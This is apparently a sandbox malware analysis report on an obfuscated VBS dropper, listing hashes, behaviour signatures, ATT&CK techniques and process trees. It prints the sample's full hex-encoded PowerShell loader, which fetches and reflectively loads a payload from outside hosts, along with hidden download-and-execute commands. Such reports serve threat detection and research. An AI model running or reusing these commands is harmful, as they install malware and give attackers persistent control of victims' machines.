9f6057d2185a9b1f0dc11a37dbd6710da82af0a2625a4455da0941ea44e14d13

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
08/03/2026, 07:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
be8c95c50d3e0c635975d21de3b8d5b6.vbs
Size 1.2MB
Sample260308-hydavaaw2p
SHA256 9f6057d2185a9b1f0dc11a37dbd6710da82af0a2625a4455da0941ea44e14d13
MD5 be8c95c50d3e0c635975d21de3b8d5b6
SHA1 57d676bc50cda0a74a09846be77108f433e5236a
SHA512 2ba4b24ef3855c3f7504948caa31f5be448f39b4d68dcf588abcbe8d7fd7ad58327ce0ba56471c7cb2380655581d5aecae08ffed6a779aa5ae447ed644247d29
SSDEEP 96:9hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhR:LQ+oHUWNTTEU1w0Y/eO
TLSH
T19E551E6077E61985FEC1F608DDCBA30BEE547DBF6D441C20883F85A91608AA31E7E476
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4840	4716	powershell.exe	85

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4840	powershell.exe
18	4840	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4840	powershell.exe
5732	powershell.exe
1196	powershell.exe
5732	powershell.exe
1196	powershell.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
5732	powershell.exe
5732	powershell.exe
1196	powershell.exe
1196	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	5732	powershell.exe
Token: SeDebugPrivilege	1196	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2228	conhost.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2228 wrote to memory of 5224	2228	conhost.exe	99
PID 6072 wrote to memory of 5732	6072	conhost.exe	103
PID 5520 wrote to memory of 1196	5520	conhost.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\be8c95c50d3e0c635975d21de3b8d5b6.vbs"
1⤵
PID:6092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "$glycolipid='24737563686F73706F6E64796C69616E203D202768272B2774272B2774272B2770272B2773272B273A272B272F272B272F272B2769272B2761272B2736272B2730272B2731272B2734272B2730272B2739272B272E272B2775272B2773272B272E272B2761272B2772272B2763272B2768272B2769272B2776272B2765272B272E272B276F272B2772272B2767272B272F272B2731272B2739272B272F272B2769272B2774272B2765272B276D272B2773272B272F272B276F272B2770272B2774272B2769272B276D272B2769272B277A272B2765272B2764272B275F272B276D272B2773272B2769272B275F272B2732272B2730272B2732272B2736272B2730272B2733272B2730272B2733272B275F272B2731272B2730272B2735272B2734272B272F272B276F272B2770272B2774272B2769272B276D272B2769272B277A272B2765272B2764272B275F272B274D272B2753272B2749272B272E272B2770272B276E272B2767273B2024746F75636865203D204E65772D4F626A6563742028224E65742E576562222B22436C69656E7422293B2024686F6D656275796572203D2024746F756368652E2822446F776E6C6F6164222B224461746122292E496E766F6B652824737563686F73706F6E64796C69616E293B2024476F74686963697365203D205B546578742E456E636F64696E675D3A3A555446382E476574537472696E672824686F6D656275796572293B20246D6F6E6F646F6E73203D2027494E2D273B2024717569727473203D20272D696E31273B20244F6C77656E203D2024476F746869636973652E496E6465784F6628246D6F6E6F646F6E73293B2024657374657273203D2024476F746869636973652E4C617374496E6465784F662824717569727473293B2069662028244F6C77656E202D6571202D31202D6F722024657374657273202D6571202D3129207B2072657475726E207D3B20247468656F62726F6D696E65203D20244F6C77656E202B20246D6F6E6F646F6E732E4C656E6774683B202475726F64656C65203D2024476F746869636973652E537562737472696E6728247468656F62726F6D696E652C2024657374657273202D20247468656F62726F6D696E65293B202465737461666574203D202475726F64656C652E5265706C616365282723272C20274127292E546F43686172417272617928293B205B41727261795D3A3A282252657665222B2272736522292E496E766F6B65282465737461666574293B2024626C7565706F696E7473203D202465737461666574202D6A6F696E2027273B205B627974655B5D5D2470726F63657373696F6E203D205B436F6E766572745D3A3A282246726F6D4261736536222B2234537472696E6722292E496E766F6B652824626C7565706F696E7473293B20246174616B65203D205B417070446F6D61696E5D3A3A43757272656E74446F6D61696E2E28224C6F222B22616422292E496E766F6B65282470726F63657373696F6E293B202473757065726E6F726D616C203D2040282768747470733A2F2F7465616D6E696B652E6B657375672E636F6D2F696D675F3032313632382E706E67272C2730272C27433A5C55736572735C5075626C69635C446F776E6C6F6164735C272C274E616D655F46696C65272C2752656741736D272C27272C2752656741736D272C2731272C2755524C272C27433A5C55736572735C5075626C69635C446F776E6C6F6164735C272C274E616D655F46696C65272C27766273272C2731272C2730272C275461736B5F4E616D65272C2730272C27272C27272C2727293B20747279207B2020202020246B6C6970737072696E676572203D20246174616B652E47657454797065282746696265722E50726F272B276772616D27293B202020202024766F6C74616D6D6574726963203D20246B6C6970737072696E6765722E4765744D6574686F6428274D61272B27696E27293B202020202024766F6C74616D6D65747269632E496E766F6B6528246E756C6C2C205B6F626A6563745B5D5D2473757065726E6F726D616C293B207D206361746368207B207D';$avialan=[byte[]]($glycolipid -split '(..)' | ?{$_} | %{[Convert]::ToByte($_,16)});iex([System.Text.Encoding]::UTF8.GetString($avialan))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4840

C:\Windows\system32\conhost.exe
conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:5224

C:\Windows\system32\conhost.exe
conhost.exe --headless powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
1⤵
- Suspicious use of WriteProcessMemory
PID:6072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5732

C:\Windows\system32\conhost.exe
conhost.exe --headless powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
1⤵
- Suspicious use of WriteProcessMemory
PID:5520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1196

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9ad579b8dac634b2255deb0a9e8da6430db14bf991e34b0b1c4448ea1eb2b07f
MD5 eaa784b757ccb9608c79e5c195c610f9
SHA1 fe3d4d2cb5ca401ef9fe59db6290f934ae6a40b6
SHA512 d6aeacb58702738ecf7726a7a1c4cd6844067614639542aad8fc36d6aac29fc543e7dedcc8ebe24f46fdcb100404bf579a98f57091e8a21e66b06cb8217233b4
TLSH
T1C0119323F38C8920CC86163A409EAC1132B283CB41AECF9F7FC0C204A17F984CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ab084bb484656c5aef858533f12364ea8fd94362da3e7814dc32c83fd841749c
MD5 765dc3bea2a3ae1138c746f93e2bb913
SHA1 49c87db73dd9565b87acd7c6b8ff402536433b0f
SHA512 6b0de5a807a8250c3a60f1c04a386518ba00ec239899dc0fa6f94cf4f9aabfd4532666aa29ea24317451485d8607fccaae4b62c20721c586f63dce6174ae5bef
TLSH
T12D21A837B3DC8921CC96123A009D9C1072B283D7819EDF9F6FC0D604A0BF9C8CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_urbafmob.qz5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_urbafmob.qz5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1196-42-0x000002387DA00000-0x000002387DBA1000-memory.dmp

Download

memory/4840-13-0x00000222324B0000-0x0000022232651000-memory.dmp

Download

memory/4840-12-0x000002224C670000-0x000002224C680000-memory.dmp

Download

memory/4840-14-0x000002224C670000-0x000002224C680000-memory.dmp

Download

memory/4840-1-0x000002224C670000-0x000002224C680000-memory.dmp

Download

memory/4840-16-0x000002224CBC0000-0x000002224D6D2000-memory.dmp

Download

memory/4840-17-0x000002224D6D0000-0x000002224D794000-memory.dmp

Download

memory/4840-18-0x000002224C670000-0x000002224C680000-memory.dmp

Download

memory/4840-21-0x00000222324B0000-0x0000022232651000-memory.dmp

Download

memory/4840-11-0x000002224C670000-0x000002224C680000-memory.dmp

Download

memory/4840-10-0x000002224C670000-0x000002224C680000-memory.dmp

Download

memory/4840-8-0x00000222342D0000-0x00000222342F2000-memory.dmp

Download

memory/4840-0-0x000002224C670000-0x000002224C680000-memory.dmp

Download

memory/5732-32-0x00000271E1000000-0x00000271E11A1000-memory.dmp

Download